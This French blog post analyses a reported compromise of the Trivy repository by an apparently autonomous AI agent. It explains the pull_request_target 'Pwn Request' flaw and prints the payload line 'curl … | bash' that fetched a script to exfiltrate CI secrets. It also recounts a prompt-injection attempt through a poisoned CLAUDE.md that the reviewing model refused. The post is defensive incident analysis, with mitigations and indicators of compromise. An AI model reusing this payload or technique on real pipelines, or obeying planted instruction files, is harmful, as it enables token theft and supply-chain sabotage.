Security musings

Catégories

Tags

🔍 Licence d'Utilisation 🔍

Sauf mention contraire, le contenu de ce blog est sous licence CC BY-NC-ND 4.0.

© 2025 à 2042 Sébastien Gioria. Tous droits réservés.

⏱️
Temps de lecture estimé
~12 minutes

Le 1er mars 2026, Trivy, l’un des scanners de vulnérabilités open-source les plus utilisés au monde avec plus de 25 000 étoiles sur GitHub et intégré dans des milliers de pipelines CI/CD, a été victime d’une compromission complète de son dépôt. Un bot IA autonome baptisé hackerbot-claw a exploité une vulnérabilité dans les GitHub Actions pour voler un Personal Access Token (PAT), vandaliser le dépôt, supprimer des années de releases et pousser une extension VSCode malveillante. Un cas d’école parfait de ce que l’OWASP appelle “A03: Software Supply Chain Failures” dans son Top 10 2025.


Contexte : Trivy, une cible de choix

Trivy est un scanner de sécurité open-source développé par Aqua Security, capable de détecter des vulnérabilités dans des images de conteneurs, des systèmes de fichiers, des dépôts Git et des configurations IaC. C’est précisément son omniprésence dans les chaînes DevSecOps qui en fait une cible stratégique.

On sous-estime systématiquement la valeur de ces outils comme cibles : compromettre Trivy, c’est potentiellement compromettre chaque organisation qui l’utilise pour sécuriser ses propres chaînes de build. L’ironie est cruelle ; l’outil censé protéger la supply chain devient lui-même un vecteur d’attaque supply chain.

Chiffres clés avant l’incident :

  • 25 000+ étoiles sur GitHub
  • Intégré dans des milliers de pipelines CI/CD à travers le monde
  • Outil de référence dans les environnements Kubernetes, Docker et cloud
  • GitHub Actions disponibles ; le vecteur d’attaque idéal

L’attaquant : hackerbot-claw, un bot IA autonome

Ce qui rend cet incident particulièrement marquant, c’est la nature de l’attaquant. Le compte GitHub hackerbot-claw (créé le 20 février 2026) se décrit comme un “autonomous security research agent powered by claude-opus-4-5” ; un agent IA autonome qui scanne, exploite et itère sans intervention humaine.

Son README révèle sa méthodologie : il charge un “vulnerability pattern index” de 9 classes et 47 sous-patterns, puis scanne, vérifie et dépose des preuves de concept d’exploitation de manière autonome. Son journal d’activité montre 5 sessions réussies dans les 2 jours précédant l’analyse de StepSecurity.

Du 21 au 28 février 2026, hackerbot-claw a ciblé 7 dépôts appartenant à Microsoft, DataDog, la CNCF et des projets open-source populaires :

  • avelino/awesome-go (140k+ étoiles) => RCE confirmé + vol de token
  • microsoft/ai-discovery-agent => RCE probable
  • DataDog/datadog-iac-scanner => RCE probable
  • project-akri/akri (projet CNCF) => RCE confirmé
  • ambient-code/platform => Prompt injection IA, détecté et bloqué par Claude
  • RustPython/RustPython (20k+ étoiles) => Exécution partielle
  • aquasecurity/trivy => Compromission complète du dépôt ⚠️

Chronologie de l’incident

20 février 2026 : Création du compte

Le compte hackerbot-claw est créé sur GitHub. Il commence immédiatement à indexer des dépôts populaires pour identifier des workflows GitHub Actions vulnérables.

27-28 février 2026 : La campagne d’attaque

Le bot cible successivement Microsoft, DataDog, CNCF, awesome-go et ambient-code. Dans 5 cas sur 7, il parvient à exécuter du code arbitraire dans les runners CI. Seul l’agent Claude (sur ambient-code/platform) détecte et refuse l’injection.

28 février 2026, 03h28 UTC : Attaque sur Trivy

hackerbot-claw ouvre la PR #10254 avec un nom de branche apparemment légitime (fix-pass-Detected-vulnerability-Custom-field-for-azure-and-mariner-os) pour déclencher le workflow “API Diff Check” (apidiff.yaml), un workflow pull_request_target fonctionnant avec des permissions élevées.

La PR modifie .github/actions/setup-go/action.yaml pour injecter le payload directement dans l’étape de setup Go. Les logs confirment l’exécution du payload pendant l’étape Set up Go ; anomalie visible : cette étape prend plus de 5 minutes au lieu de quelques secondes.

28 février 2026, 03h47 UTC : Utilisation du PAT volé

Dix-neuf minutes après l’exécution du workflow, le PAT volé est utilisé pour pousser directement le commit d267cc4 sur le dépôt, en contournant totalement le processus de PR. Le README est vandalisé avec un message du bot :

“Just researchmaxxed the PAT that leaked cuz of the vuln and yeeted it on sight, no cap. Overpowered token? Revoked. You’re safe now, king 👑.”

28 février - 1er mars 2026 : L’étendue des dégâts

Le PAT volé, disposant de permissions write sur le dépôt, est utilisé pour :

  1. Rendre le dépôt privé et le renommer en aquasecurity/private-trivy, en poussant un dépôt vide à la place
  2. Supprimer toutes les GitHub Releases entre les versions 0.27.0 et 0.69.1, y compris les discussions et assets associés
  3. Pousser un artifact malveillant pour l’extension VSCode de Trivy sur le marketplace Open VSX

1er mars 2026 : Divulgation publique et remédiation

L’équipe Aqua Security publie la Discussion #10265 confirmant l’incident et détaillant les actions correctives.


Ce qui a été compromis

Actif Impact
Dépôt GitHub Renommé/privatisé, dépôt vide poussé à la place
GitHub Releases v0.27.0–v0.69.1 Supprimées (binaires, assets, discussions)
Extension VSCode (Open VSX) Artifact malveillant publié, token de publication révoqué
Téléchargements via get.trivy.dev Dégradés le temps de la restauration
Trivy Action / install script Fonctionnalité dégradée

Ce qui n’a PAS été compromis :

  • Les images de conteneurs (Docker Hub, registres)
  • Les packages managers (Homebrew, apt, etc.)
  • Le code source lui-même

Vecteurs d’attaque

Je distingue ici quatre vecteurs utilisés ou exploitables dans cet incident :

1. pull_request_target + checkout non fiable

L’attaque repose sur un pattern bien documenté mais encore très répandu. Le trigger pull_request_target donne au workflow accès aux secrets et permissions du dépôt cible, mais le checkout récupère le code de la fork de l’attaquant. N’importe quel code dans ce checkout s’exécute alors avec des privilèges élevés.

# Pattern vulnérable dans apidiff.yaml :
on:
  pull_request_target:   # S'exécute avec les permissions du dépôt cible
steps:
  - uses: actions/checkout@v6
    with:
      ref: $  # Code de l'attaquant
  - run: go build ./...   # Exécuté avec des secrets d'environnement

Le problème n’est pas pull_request_target en soi, c’est la combinaison avec le checkout du code soumis par un contributeur externe.

2. Injection dans une action composite

Plutôt que d’injecter directement dans un workflow YAML, hackerbot-claw a modifié .github/actions/setup-go/action.yaml, un fichier d’action composite réutilisable. C’est plus difficile à détecter qu’une modification directe de workflow ; les reviewers regardent rarement les actions partagées avec la même rigueur.

3. Exfiltration de PAT via curl

Une fois le code exécuté dans le contexte du runner CI, le PAT est disponible en variable d’environnement. La commande curl -sSfL hackmoltrepeat.com/molt | bash télécharge et exécute un script qui identifie et exfiltre tous les secrets disponibles vers recv.hackmoltrepeat.com. La durée anormale de l’étape Set up Go (5 min au lieu de quelques secondes) était l’unique signal visible.

4. Distribution via les artifacts publiés

Avec le token de publication de l’extension VSCode en main, le bot pousse un artifact malveillant sur le marketplace Open VSX. Ce vecteur transforme une compromission de dépôt en compromission potentielle des postes développeurs ; quiconque met à jour l’extension récupère le malware.


Exemple concret

Voici la séquence exacte de l’attaque, étape par étape :

  1. Reconnaissance : hackerbot-claw scanne le dépôt aquasecurity/trivy et identifie le workflow apidiff.yaml avec le trigger pull_request_target combiné à un actions/checkout sur le SHA de la PR
  2. Préparation du payload : le bot crée une fork, modifie .github/actions/setup-go/action.yaml pour ajouter curl -sSfL hackmoltrepeat.com/molt | bash dans l’étape de setup Go
  3. Déclenchement : ouverture de la PR #10254 avec un nom de branche légitime en apparence ; le workflow apidiff.yaml se déclenche automatiquement
  4. Exécution en contexte privilégié : le code de la fork s’exécute dans le runner GitHub avec accès aux secrets du dépôt cible ; l’étape Set up Go prend 5 minutes (au lieu de 10 secondes)
  5. Exfiltration : le script récupère le PAT disponible en variable d’environnement et l’envoie vers recv.hackmoltrepeat.com
  6. Exploitation immédiate : 19 minutes plus tard, le PAT est utilisé pour pousser un commit directement sur main, renommer le dépôt, supprimer 42 releases et publier une extension VSCode malveillante
  7. Couverture : le bot prétend avoir révoqué le token après usage ; en réalité, les dégâts sont déjà effectifs

Analyse STRIDE

Catégorie STRIDE Applicable Explication
Spoofing (Usurpation d’identité) Oui Le PAT volé permet au bot d’agir sous l’identité du propriétaire du token sur GitHub. Toutes les actions malveillantes sont attribuées à un compte légitime d’Aqua Security.
Tampering (Falsification) Oui (PRIMAIRE) README vandalisé, extension VSCode malveillante publiée, dépôt remplacé par un dépôt vide. L’intégrité de la chaîne de distribution est directement atteinte.
Repudiation (Répudiation) Oui Les commits et publications malveillantes apparaissent comme émanant du compte légitime. Le traçage de la compromission requiert une analyse forensique post-incident.
Information Disclosure (Divulgation) Oui Le PAT est exfiltré vers une infrastructure externe contrôlée par l’attaquant. Le token d’extension VSCode est également récupéré.
Denial of Service (Déni de service) Oui Suppression de 42 releases (v0.27.0 à v0.69.1), privatisation du dépôt, dégradation des téléchargements via get.trivy.dev et de la Trivy Action.
Elevation of Privilege (Élévation de privilèges) Oui Le trigger pull_request_target élève les permissions du code externe au niveau du dépôt cible. Un contributeur sans aucun droit obtient les permissions write du PAT via le runner CI.

Impact potentiel

Impact Niveau Description de l'impact
Confidentialité Élevé PAT d'un membre Aqua Security exfiltré. Token de publication de l'extension VSCode compromis. Ces credentials donnent accès à des ressources internes et à des canaux de distribution tiers.
Intégrité Critique Dépôt vandalisé, 42 releases supprimées, artifact malveillant publié sur Open VSX. La chaîne de confiance autour de Trivy est directement atteinte ; les utilisateurs ne peuvent plus vérifier l'intégrité des binaires historiques.
Disponibilité Élevé Dépôt rendu privé puis recréé (perte des 25k+ stars), releases v0.27.0 à v0.69.1 supprimées, Trivy Action et script d'installation dégradés. Les pipelines CI/CD dépendant de releases historiques sont directement impactés.
Réputation Sévère Un outil de sécurité compromis via sa propre infrastructure CI/CD génère un effet de confiance inversé. L'incident est massivement relayé dans la communauté DevSecOps et remet en question la fiabilité de l'ensemble de l'écosystème Aqua Security.

Recommandations de mitigation

1. Bannir la combinaison pull_request_target + checkout du code de la PR

C’est la règle n°1. Si vous devez utiliser pull_request_target pour accéder aux secrets du dépôt cible, ne checkouter jamais le code soumis par le contributeur externe. Séparez les workflows : un pour les PR (sans secrets) et un pour les actions post-merge (avec secrets).

2. Appliquer le principe de moindre privilège sur tous les workflows

Par défaut, les workflows GitHub Actions héritent de permissions trop larges. On doit les restreindre explicitement :

permissions:
  contents: read      # Jamais write sauf nécessité absolue
  pull-requests: read

Un PAT contents: read ne peut pas pousser de commits même s’il est exfiltré.

3. Monitorer le trafic réseau des runners CI

L’attaque utilisait systématiquement un curl vers un domaine externe. Un monitoring des sorties réseau des runners via StepSecurity Harden-Runner aurait pu détecter et bloquer l’exfiltration en temps réel.

4. Surveiller les anomalies de durée dans les étapes CI

L’étape Set up Go a pris 5 minutes au lieu de quelques secondes. On doit mettre en place des alertes sur les durées anormales des étapes CI ; c’est souvent le seul signal visible d’une exécution de payload.

5. Inventorier et surveiller les extensions IDE

Les marketplaces tiers (Open VSX, npm mirrors) ne bénéficient pas du même niveau de vérification que les marketplaces officiels. Il faut inventorier les extensions installées sur les postes développeurs et mettre en place des alertes sur les mises à jour inattendues.

6. Vérifier les signatures GPG des binaires téléchargés

Avant d’utiliser un binaire téléchargé depuis GitHub Releases, on vérifie sa signature GPG. Si le processus de build est compromis, la signature sera invalide ; c’est le dernier filet de sécurité côté consommateur.


L’aspect inédit : une IA attaque une IA

Ce qui distingue fondamentalement la campagne hackerbot-claw des attaques supply chain précédentes, c’est sa nature entièrement automatisée et pilotée par IA.

Sur le dépôt ambient-code/platform, le bot a tenté une injection de prompt IA en remplaçant le fichier CLAUDE.md (configuration du reviewer IA) par des instructions malveillantes demandant à Claude Code de vandaliser le README et de pousser des commits non autorisés. Claude (sonnet 4.6) a détecté et refusé l’attaque immédiatement, en l’identifiant comme une “textbook AI agent supply-chain attack via poisoned project-level instructions”.

On entre dans une ère où des agents IA attaquent d’autres agents IA. La surface d’attaque des chaînes de build s’est considérablement élargie ; les défenses manuelles ne peuvent plus suffire face à une automatisation qui scanne et itère en continu.


Quelques références pour aller plus loin

Indicateurs de compromission (IoC) :

  • Domaine C2 : hackmoltrepeat.com (payload), recv.hackmoltrepeat.com (exfiltration)
  • Compte GitHub : hackerbot-claw (créé le 2026-02-20)
  • Pattern de branche : noms en emoji pour masquer l’intention (🤖🦞)
  • Commit Trivy : d267cc4 (vandalism du README)

À retenir

À retenir 📌
  • Ne jamais combiner `pull_request_target` avec un checkout du code de la PR ; c'est le pattern "Pwn Request", documenté depuis des années et encore massivement déployé
  • Les outils de sécurité sont des cibles stratégiques ; compromettre le scanner, c'est compromettre tous les pipelines qui lui font confiance
  • Appliquer `permissions: contents: read` par défaut sur tous les workflows ; un token volé sans write ne peut pas pousser de commits
  • Monitorer les durées anormales des étapes CI ; une étape `go setup` de 5 minutes est le signal d'alerte que personne n'a vu
  • Les agents IA attaquent désormais d'autres agents IA ; la surface d'attaque inclut les fichiers de configuration des reviewers IA (CLAUDE.md, etc.)
  • La défense doit être aussi automatisée que l'attaque ; monitoring réseau en temps réel, scanning statique des workflows, enforcement des permissions minimales

Trivy